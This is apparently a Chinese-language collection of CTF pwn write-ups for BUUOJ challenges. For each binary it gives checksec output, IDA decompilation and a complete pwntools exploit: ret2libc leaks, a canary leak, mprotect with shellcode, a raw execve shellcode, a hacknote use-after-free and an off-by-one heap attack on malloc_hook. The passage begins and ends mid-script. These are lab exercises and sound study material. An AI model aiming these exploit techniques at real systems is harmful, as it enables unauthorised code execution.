payload += p64(pop_rdi_ret)+p64(binsh)+p64(sys_addr)+p64(vuln_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

jarvisoj_level4

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

return read(0, &buf, 0x100u);
}

这题本意是然大家用Dynefl来泄露libc的,但是LibcSearcher一样可以

3.EXP

3.1 libcsearcher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28393)
elf = ELF("./level4")

libc_start_main = elf.got["__libc_start_main"]
write_plt = elf.plt['write']
main_addr = elf.sym['main']

payload = 'a'*(0x88+4)
payload += p32(write_plt)+p32(main_addr)+p32(1)+p32(libc_start_main)
p.sendline(payload)
libc_start_real = u32(p.recv(4))
libc = LibcSearcher("__libc_start_main",libc_start_real)

libc_base = libc_start_real - libc.dump("__libc_start_main")
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
log.info("libc base=>%s",hex(libc_base))
log.info("system addr=>%s",hex(sys_addr))
log.info("binsh addr=>%s",hex(binsh))


payload = 'a'*(0x88+4)
payload += p32(sys_addr)+p32(0xdeadbeef)+p32(binsh)
p.sendline(payload)
p.interactive()

3.2 Dynelf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
io=remote("node3.buuoj.cn",28393)
elf=ELF("./level4")
vulner_function_address=0x804844B
write_plt=elf.plt["write"]
read_plt=elf.plt["read"]
bss_addr=0x0804a024
def leak(address):
payload="a"*0x88+"aaaa"+p32(write_plt)+p32(vulner_function_address)+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex'))
return leak_sysaddr
d = DynELF(leak, elf=ELF("./level4"))
sys_addr=d.lookup("system","libc")
print hex(sys_addr)
payload1="a"*0x88+"aaaa"+p32(read_plt)+p32(vulner_function_address)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")
payload2="a"*0x88+"aaaa"+p32(sys_addr)+p32(vulner_function_address)+p32(bss_addr)
io.sendline(payload2)
io.interactive()

jarvisoj_level5

buu上给的就是jarvisoj_level3_x64

jarvisoj_tell_me_something

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h]

write(1, "Input your message:\n", 0x14uLL);
read(0, &v4, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

good_game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf; // [rsp+Fh] [rbp-9h]

v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf = result;
if ( (_BYTE)result == -1 )
break;
write(1, &buf, 1uLL);
}
return result;
}

自行读取flag,不嫌麻烦也可试试open/read/write

3.EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29781)
elf = ELF("./guestbook")

payload = 'a'*0x88 + p64(0x0400620)
p.recvuntil("message:")
p.sendline(payload)
print p.recv()
p.interactive()

jarvisoj_test_your_memory

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char s2[11]; // [esp+1Dh] [ebp-13h]
int v6; // [esp+28h] [ebp-8h]
int i; // [esp+2Ch] [ebp-4h]

v6 = 10;
puts("\n\n\n------Test Your Memory!-------\n");
v3 = time(0);
srand(v3);
for ( i = 0; i < v6; ++i )
s2[i] = alphanum_2626[rand() % 0x3Eu];
printf("%s", s2);
mem_test(s2);
return 0;
}
//.rodata:08048860 alphanum_2626 db 30h ; DATA XREF: main+5F↑r
//.rodata:08048861 a123456789abcde db '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',0

产生随机数,然后让我们来猜

mem_test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl mem_test(char *s2)
{
int result; // eax
char s; // [esp+15h] [ebp-13h]

memset(&s, 0, 0xBu);
puts("\nwhat???? : ");
printf("0x%x \n", hint);
puts("cff flag go go go ...\n");
printf("> ");
__isoc99_scanf("%s", &s);
if ( !strncmp(&s, s2, 4u) )
result = puts("good job!!\n");
else
result = puts("cff flag is failed!!\n");
return result;
}
//.data:0804A040 hint dd offset aCatFlag ; DATA XREF: mem_test+2D↑r
//.data:0804A040 _data ends ; "cat flag"

验证我们的输入,并且有了栈溢出cat flag的地址

win_func

1
2
3
4
int __cdecl win_func(char *command)
{
return system(command);
}

后门函数,作用==system

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28178)
elf = ELF("./memory")
cat_flag = 0x80487e0

payload = 'a'*(0x13+4)
payload += p32(elf.sym["win_func"])+p32(cat_flag)
payload += p32(cat_flag)

p.sendline(payload)
p.interactive()

not_the_same_3dctf_2016

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Fh] [ebp-2Dh]

printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(&v4);
return 0;
}

简单栈溢出,但是远程开启了段保护,所以用ROP取消段保护

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p=process('./not_the_same_3dsctf_2016')
p = remote("node3.buuoj.cn",28930)
elf=ELF('./not_the_same_3dsctf_2016')

payload='a'*0x2d+p32(elf.symbols['mprotect'])
payload+=p32(0x0809e3e5)
payload+=p32(0x080EB000)
payload+=p32(0x1000)+p32(0x7)
payload+=p32(elf.symbols['read'])
payload+=p32(0x0809e3e5)+p32(0)+p32(0x080EBF80)+p32(0x100)+p32(0x080EBF80)
p.sendline(payload)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

others_babystack

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

两个主要功能

1
2
3
4
5
6
def store(text):
p.sendlineafter(">>","1")
p.sendline(text)

def Print():
p.sendlineafter(">>","2")

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&s, 0, 0x80uLL);
while ( 1 )
{
menu();
v3 = READ();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 0x100uLL);
break;
default:
PUTS("invalid choice");
break;
}
PUTS((const char *)&unk_400AE7);
}
}

24行的read有一个短小的溢出,从这里我们使用19行的puts可以泄露canary的值,为之后更长的rop-chain做准备

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("babystack")
#p = process("./babystack")
p = remote("node3.buuoj.cn","28311")

def store(text):
p.sendlineafter(">>","1")
p.sendline(text)

def Print():
p.sendlineafter(">>","2")

pop_rdi_ret = 0x0400a93
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = 0x0400908

if __name__ == '__main__':
store('a'*0x88)
Print()
p.recvuntil('a\n')
canary=u64(p.recv(7).rjust(8,'\x00'))
log.success("canary =>0x%x",canary)

payload = 'a'*0x88+p64(canary)+'b'*8
payload += p64(pop_rdi_ret)+p64(puts_got)
payload += p64(puts_plt)+p64(main)
store(payload)
p.sendlineafter(">>","3")
p.recv()

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher("puts",puts_addr)
base = puts_addr-libc.dump("puts")
sys_addr = libc.dump("system")+base
binsh = libc.dump("str_bin_sh")+base
log.success("puts real =>0x%x",puts_addr)
log.success("libc base =>0x%x",base)
log.success("system addr=>0x%x",sys_addr)
log.success("/bin/sh =>0x%x",binsh)

payload = 'a'*0x88+p64(canary)+'b'*8
payload += p64(pop_rdi_ret)+p64(binsh)
payload += p64(sys_addr)
store(payload)
p.sendlineafter(">>","3")
p.interactive()

others_shellcode

连上就有

pwn1_sctf_2016

1.checsec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}

vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]

printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}

string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LOAD:08048154	00000013	C	/lib/ld-linux.so.2
............. ........ . ..........
LOAD:080488F4 00000007 C strcpy
LOAD:080488FB 00000006 C stdin
LOAD:08048901 00000007 C printf
LOAD:08048908 00000006 C fgets
LOAD:0804890E 0000000D C __cxa_atexit
LOAD:0804891B 00000007 C system
LOAD:08048922 00000012 C __libc_start_main
LOAD:08048934 00000008 C GCC_3.0
LOAD:0804893C 0000000A C GLIBC_2.0
LOAD:08048946 0000000C C GLIBC_2.1.3
LOAD:08048952 0000000E C GLIBCXX_3.4.5
LOAD:08048960 0000000B C CXXABI_1.3
LOAD:0804896B 0000000C C GLIBCXX_3.4
.rodata:080497F0 0000000D C cat flag.txt
.rodata:08049800 00000023 C Tell me something about yourself:
.rodata:08049829 00000008 C So, %s\n
.rodata:08049834 0000002A C basic_string::_S_construct null not valid
.eh_frame:0804996F 00000005 C ;*2$\"
.eh_frame:0804999D 00000005 C zPLR

看上去不会溢出,但是把’I’替换成’you’,使字符串变多,栈溢出

3.EXP

1
2
3
4
5
6
7
8
9
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",25541)

cat_flag = 0x08048F0D

payload = 'I'*20 + 'a'*4 + p64(cat_flag)
p.sendline(payload)
p.interactive()

pwn2_sctf_2016

1.checksec

1
2
3
4
5
6
[*] '/home/o
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
get_n((int)&nptr, 4u);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n((int)&nptr, v2);
return printf("You said: %s\n", &nptr);
}

get_n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl get_n(int a1, unsigned int a2)
{
int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = 0;
while ( 1 )
{
v4 = getchar();
if ( !v4 || v4 == 10 || v5 >= a2 )
break;
v2 = v5++;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + v5;
*(_BYTE *)(a1 + v5) = 0;
return result;
}

这里就存在一个atoi,输入-1时会转化为非零型整数,造成整数溢出

整数了过后,就可以写更多的值,从而getshell

溢出要覆盖的量可以从gdb调试出来

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("./pwn2_sctf_2016")
libc = ELF("./libc-2.23.so")
p = remote("node3.buuoj.cn",29632)
#p = process("./pwn2_sctf_2016")

start_addr = 0x080483d0
output_addr = 0x080486F8
vuln_addr = 0x0804852F
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

payload = 'a'*48
payload += p32(printf_plt) + p32(start_addr)
payload += p32(output_addr) + p32(elf.got["__libc_start_main"])

p.recvuntil("?")
p.sendline("-1")
p.recv()
p.sendline(flat(payload))

p.recvuntil("You said: ") #一段无法输出完整
p.recvuntil("You said: ")

main_real = u32(p.recv(4))
#libc = LibcSearcher('__libc_start_main',main_real)
libcbase = main_real - libc.sym["__libc_start_main"]
sys_addr = libcbase + libc.sym['system']
binsh = libcbase + libc.search("/bin/sh\x00").next()

payload = 'a'*48 + p32(sys_addr)+p32(output_addr) + p32(binsh)

p.recvuntil("?")
p.sendline("-1")
p.recvuntil("!")
p.sendline(payload)
p.interactive()

pwnable_hack_note

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

基本功能如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def add(size, content):
p.sendlineafter("Your choice :", "1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)

def delete(index):
p.sendlineafter("Your choice :", "2")
p.recvuntil("Index :")
p.sendline(str(index))


def show(index):
p.sendlineafter("Your choice :", "3")
p.recvuntil("Index :")
p.sendline(str(index))

delete

1
2
3
4
5
6
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}

指针没有归零

3.GDB

0x1 先申请一个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> heap
0x804b000 FASTBIN {
prev_size = 0,
size = 17,
fd = 0x804862b,
bk = 0x804b018,
fd_nextsize = 0x0,
bk_nextsize = 0x11
}
0x804b010 FASTBIN {
prev_size = 0,
size = 17,
fd = 0x61616161,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x804b020 PREV_INUSE {
prev_size = 0,
size = 135137,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x804b000: 0x00000000 0x00000011 0x0804862b 0x0804b018
0x804b010: 0x00000000 0x00000011 0x61616161 0x0000000a
0x804b020: 0x00000000 0x00020fe1 0x00000000 0x00000000
0x804b030: 0x00000000 0x00000000 0x00000000 0x00000000

0x2 查看0x0804862b0x0804b018

0x0804862b

1
2
3
4
int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}

0x0804b018

该地址应该是绑定的分配堆的地址,到时候修补上就行

4.思路

  • uaf,将0x0804862b改为一个我们能泄露的函数
  • 计算system的相对位置
  • 0x0804862bsystem,并传入sh\x00\x00
  • 调用原来的输出函数,输出的对象是刚才填入的sh\x00\x00

伪造过后

1
2
3
4
5
6
0x860b000:	0x00000000	0x00000011	0x0804862b	0x0860b030
0x860b010: 0x00000000 0x00000019 0x0860b038 0x61616161
0x860b020: 0x61616161 0x61616161 0x00000000 0x00000011
0x860b030: 0x0804862b 0x0804a018 0x00000000 0x00000019
0x860b040: 0x00000000 0x61616161 0x61616161 0x61616161
0x860b050: 0x00000000 0x00020fb1 0x00000000 0x00000000

5.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import struct
p = 0

def add(size, content):
p.sendlineafter("Your choice :", "1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)

def delete(index):
p.sendlineafter("Your choice :", "2")
p.recvuntil("Index :")
p.sendline(str(index))


def show(index):
p.sendlineafter("Your choice :", "3")
p.recvuntil("Index :")
p.sendline(str(index))

def pwn(ip,port,mode,debug):
elf = ELF("./hacknote")
libc = ELF("/home/joe1sn/libc/32/libc-2.23.so")
global p
if debug == 1:
context.log_level = "debug"
else:
pass
if mode == 0:
p = process("./hacknote")
else:
p = remote(ip,port)

add(0x10,'a'*0x10) #note0
add(0x10,'a'*0x10) #note1

delete(1)
delete(0)

fun_addr=0x0804862B
add(8,p32(fun_addr)+p32(elf.got["free"]))
show(1)

leak=u32(p.recv(4))
libc_base = leak-libc.sym["free"]
sys_addr = libc_base+libc.sym["system"]

success('leak addr: '+hex(leak))
success('libc base: '+hex(libc_base))
success('system addr '+hex(sys_addr))

delete(2)
#add(8,p32(sys_addr)+';sh;')
add(8,p32(sys_addr)+'||sh')
show(1)

p.interactive()

if __name__ == '__main__':
pwn("node3.buuoj.cn",28478,1,0)

pwnable_start

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

2.IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
; =============== S U B R O U T I N E =======================================

public _start
_start proc near ; DATA XREF: LOAD:08048018↑o
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push ':FTC'
push ' eht'
push ' tra'
push 'ts s'
push 2774654Ch
mov ecx, esp ; addr
mov dl, 20 ; len
mov bl, 1 ; fd
mov al, 4 ; syscall(write)
int 80h ; LINUX - sys_write
xor ebx, ebx ; ebx清零
mov dl, 60 ; len
mov al, 3 ; syscall(read)
int 80h ; LINUX -
add esp, 14h
retn
.text:0804809C _start endp ; sp-analysis failed

1.向addr空间写入”Let’s start the CTF:”;

2.调用read函数,这里有个栈溢出,溢出后返回addr

3.返回后向addr写入shellcode

4.最后溢出+抬栈+shellcode

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"
p = process('./start')
p = remote("node3.buuoj.cn",27809)
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
print(payload)
leak=u32(p.recv(4));
print(leak)
shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload= 'a'*20 + p32(leak+20)+shellcode
p.send(payload)
p.interactive()

pwnable_orw

1.checksec

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

2.IDA

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

直接传入shellcode过后,执行shellcode

3.EXP

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26098)

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
p.recvuntil("Give my your shellcode:")
p.sendline(shellcode)
p.interactive()

roarctf_2019_easy_pwn

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

四个功能:增删查改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def add(size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))

def edit(index,size,data):
p.sendlineafter(": ",'2')
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.recvuntil('content:')
p.send(data)

def free(index):
p.sendlineafter(": ",'3')
p.recvuntil('index:')
p.sendline(str(index))

def show(index):
p.sendlineafter(": ",'4')
p.sendlineafter(": ",str(index))

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( v2 >= 0 && v2 <= 15 )
{
v2 = *((_DWORD *)&unk_202040 + 4 * v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = read_input(1);
v4 = vuln(*((_DWORD *)&unk_202044 + 4 * v3), v2);// off by one
if ( v2 > 0 )
{
printf("content: ", (unsigned int)v2);
v2 = sub_D92(qword_202048[2 * v3], v4);
}
}
}

off by one漏洞,导致我们个已覆盖下一个堆块的size域,从而实现chunk overlapping

3.GDB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#code
add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,0x18+10,'a'*0x18+'\xb1')#off by one
#1.szie=0x18 2.size=0x98
#1.size+2.size=chunk_add.size=0xb0
# 0x10+8 like this is more conviente to use
# not to add sth like p64(0)
gdb.attach(p)

#GDB
pwndbg> x/32gx 0x55a813ab9000
0x55a813ab9000: 0x0000000000000000 0x0000000000000021
0x55a813ab9010: 0x6161616161616161 0x6161616161616161
0x55a813ab9020: 0x6161616161616161 0x00000000000000b1
这里已经被修改为'\xb1'
0x55a813ab9030: 0x0000000000000000 0x0000000000000000
0x55a813ab9040: 0x0000000000000000 0x0000000000000091
0x55a813ab9050: 0x0000000000000000 0x0000000000000000
0x55a813ab9060: 0x0000000000000000 0x0000000000000000
>这样我们free(1),就会得到`libc base`了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#code
free(1)
add(0xa8)#1
#gdb.attach(p)
edit(1,0x20,'a'*0x18+p64(0x91))#repair
#gdb.attach(p)
free(2)
show(1) #leak
gdb.attach(p)
#GDB
pwndbg> bin
fastbins
.........
unsortedbin
all: 0x55d9d3909040 —▸ 0x7ff8d0bbab78 (main_arena+88) ◂— 0x55d9d3909040
..........
pwndbg> x/32gx 0x55d9d3909000
0x55d9d3909000: 0x0000000000000000 0x0000000000000021
0x55d9d3909010: 0x6161616161616161 0x6161616161616161
0x55d9d3909020: 0x6161616161616161 0x00000000000000b1
0x55d9d3909030: 0x6161616161616161 0x6161616161616161
0x55d9d3909040: 0x6161616161616161 0x0000000000000091
0x55d9d3909050: 0x00007ff8d0bbab78 0x00007ff8d0bbab78
0x55d9d3909060: 0x0000000000000000 0x0000000000000000
0x55d9d3909070: 0x0000000000000000 0x0000000000000000
>再输出chunk1的内容就可以输出`0x00007ff8d0bbab78`,从而泄露`libc base`
最后输出
[+] libc base=>0x7ff8d07f6000
[+] malloc hook=>0x7ff8d0bbab10
[+] realloc hook=>0x7ff8d087a6c0
[+] one gadget=>0x7ff8d083b26a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
这里我们用的one_gadget是
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
所以需要满足条件[rsp+0x30] == NULL,这就需要realloc来对栈上的东西进行微调
#code
edit(4,0x32,'a'*0x28+'\xa1') #off by one
#gdb.attach(p)
free(5)
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
#new 2 take the 5's place and hijack 6 to malloc hook
#gdb.attach(p)
add(0x68)#5
add(0x68)#6 in malloc hook
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc))
gdb.attach(p)

>修改realloc_hook为onegadget,修改malloc_hook为realloc+偏移地址
#GDB
>断点过后走几个单步
pwndbg> x/16gx $rsp+0x30
0x7ffeb950d680: 0x0000000000000000 0x00007f5695fa773b
0x7ffeb950d690: 0x00007ffeb950d8db 0x00007f56961d99a0
0x7ffeb950d6a0: 0x0000000000000000 0x0000000000000000
0x7ffeb950d6b0: 0x0000000000000000 0x00007f5695fa773b
0x7ffeb950d6c0: 0x0000000000000000 0x00007ffeb950dd58
0x7ffeb950d6d0: 0x0000000000000000 0x0000000000000000
0x7ffeb950d6e0: 0x0000000000000000 0x00007ffeb950d8f0
0x7ffeb950d6f0: 0x0000000000000064 0x0000004000000000
> 调用了过后就达成了

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
context.log_level = "debug"
elf = ELF("./roarctf_2019_easy_pwn")
libc=ELF('/home/joe1sn/libc/64/libc-2.23.so')
p = process("./roarctf_2019_easy_pwn")

def add(size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))

def edit(index,size,data):
p.sendlineafter(": ",'2')
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.recvuntil('content:')
p.send(data)

def free(index):
p.sendlineafter(": ",'3')
p.recvuntil('index:')
p.sendline(str(index))

def show(index):
p.sendlineafter(": ",'4')
p.sendlineafter(": ",str(index))

if __name__ == '__main__':
add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,0x18+10,'a'*0x18+'\xb1')#off by one
#1.szie=0x18 2.size=0x98
#1.size+2.size=chunk_add.size=0xb0
# 0x10+8 like this is more conviente to use
# not to add sth like p64(0)
#gdb.attach(p)
free(1)
add(0xa8)#1
#gdb.attach(p)
edit(1,0x20,'a'*0x18+p64(0x91))#repair
#gdb.attach(p)
free(2)
show(1) #leak
#gdb.attach(p)
p.recvuntil('content: ')
libc_base=u64(p.recvuntil("\x7f\x00\x00")[-8:])-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a
log.success("libc base=>0x%x",libc_base)
log.success("malloc hook=>0x%x",malloc_hook)
log.success("realloc hook=>0x%x",realloc)
log.success("one gadget=>0x%x",one_gadget)
'''
add(0x28)#4
add(0x28)#5
add(0x68)#6
'''

edit(4,0x32,'a'*0x28+'\xa1') #off by one
#gdb.attach(p)
free(5)
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
#new 2 take the 5's place and hijack 6 to malloc hook
#gdb.attach(p)
add(0x68)#5
add(0x68)#6 in malloc hook
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc))
gdb.attach(p)
add(0x10)
p.interactive()

rip

1.checksec

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

2.IDA

main

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]

puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}

string

1
2
3
4
5
6
7
8
9
10
11
12
LOAD:00000000004002A8	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:00000000004003B9 0000000A C libc.so.6
LOAD:00000000004003C3 00000005 C gets
LOAD:00000000004003C8 00000005 C puts
LOAD:00000000004003CD 00000007 C system
LOAD:00000000004003D4 00000012 C __libc_start_main
LOAD:00000000004003E6 0000000C C GLIBC_2.2.5
LOAD:00000000004003F2 0000000F C __gmon_start__
.rodata:0000000000402004 0000000D C please input
.rodata:0000000000402011 0000000A C ok,bye!!!
.rodata:000000000040201B 00000008 C /bin/sh
.eh_frame:00000000004020DF 00000006 C ;*3$\"

gets函数漏洞,有/bin/sh

3.EXP

1
2
3
4
5
6
7
from pwn import *
#context.log_level = "debug"
